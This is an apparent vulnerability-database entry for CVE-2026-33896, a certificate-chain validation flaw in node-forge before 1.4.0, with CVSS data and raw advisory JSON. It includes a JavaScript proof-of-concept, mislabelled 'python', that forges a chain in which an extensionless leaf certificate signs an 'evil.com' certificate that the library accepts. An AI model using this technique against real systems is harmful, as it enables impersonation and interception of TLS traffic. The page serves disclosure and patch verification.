Security Vulnerability Report
中文
CVE-2026-33896 CVSS 7.4 HIGH

CVE-2026-33896

Published: 2026-03-27 21:17:26
Last Modified: 2026-04-14 01:13:21

Description

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:* - VULNERABLE
node-forge < 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const forge = require('node-forge'); // 1. Generate a Root CA (valid) const rootKeys = forge.pki.rsa.generateKeyPair(2048); const rootCert = forge.pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 1); rootCert.setSubject([{name: 'commonName', value: 'Root CA'}]); rootCert.setIssuer(rootCert.subject.attributes); rootCert.setExtensions([{name: 'basicConstraints', cA: true}]); rootCert.sign(rootKeys.privateKey); // 2. Generate a "Leaf" certificate acting as Intermediate (The Exploit) // Vulnerability: Missing basicConstraints and keyUsage const leafKeys = forge.pki.rsa.generateKeyPair(2048); const leafCert = forge.pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 1); leafCert.setSubject([{name: 'commonName', value: 'Fake Intermediate'}]); leafCert.setIssuer(rootCert.subject.attributes); // Intentionally omit extensions to exploit the bug leafCert.sign(rootKeys.privateKey); // 3. Generate a Malicious End-Entity Certificate signed by the "Leaf" const badKeys = forge.pki.rsa.generateKeyPair(2048); const badCert = forge.pki.createCertificate(); badCert.publicKey = badKeys.publicKey; badCert.serialNumber = '03'; badCert.validity.notBefore = new Date(); badCert.validity.notAfter = new Date(); badCert.validity.notAfter.setFullYear(badCert.validity.notBefore.getFullYear() + 1); badCert.setSubject([{name: 'commonName', value: 'evil.com'}]); badCert.setIssuer(leafCert.subject.attributes); badCert.sign(leafKeys.privateKey); // 4. Verification const caStore = forge.pki.createCaStore(); caStore.addCertificate(rootCert); try { // Chain: badCert -> leafCert (Fake CA) -> rootCert forge.pki.verifyCertificateChain(caStore, [badCert, leafCert], (verified, depth, chain) => { if (verified) { console.log('[+] Certificate chain verified successfully (VULNERABLE)'); } else { console.log('[-] Verification failed (SECURE)'); } return verified; }); } catch (e) { console.log('Error during verification: ' + e.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33896", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:26.320", "lastModified": "2026-04-14T01:13:21.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.3.3", "matchCriteriaId": "46CBC667-ED99-4B5B-89C8-428CF52FD3FB"}]}]}], "references": [{"url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}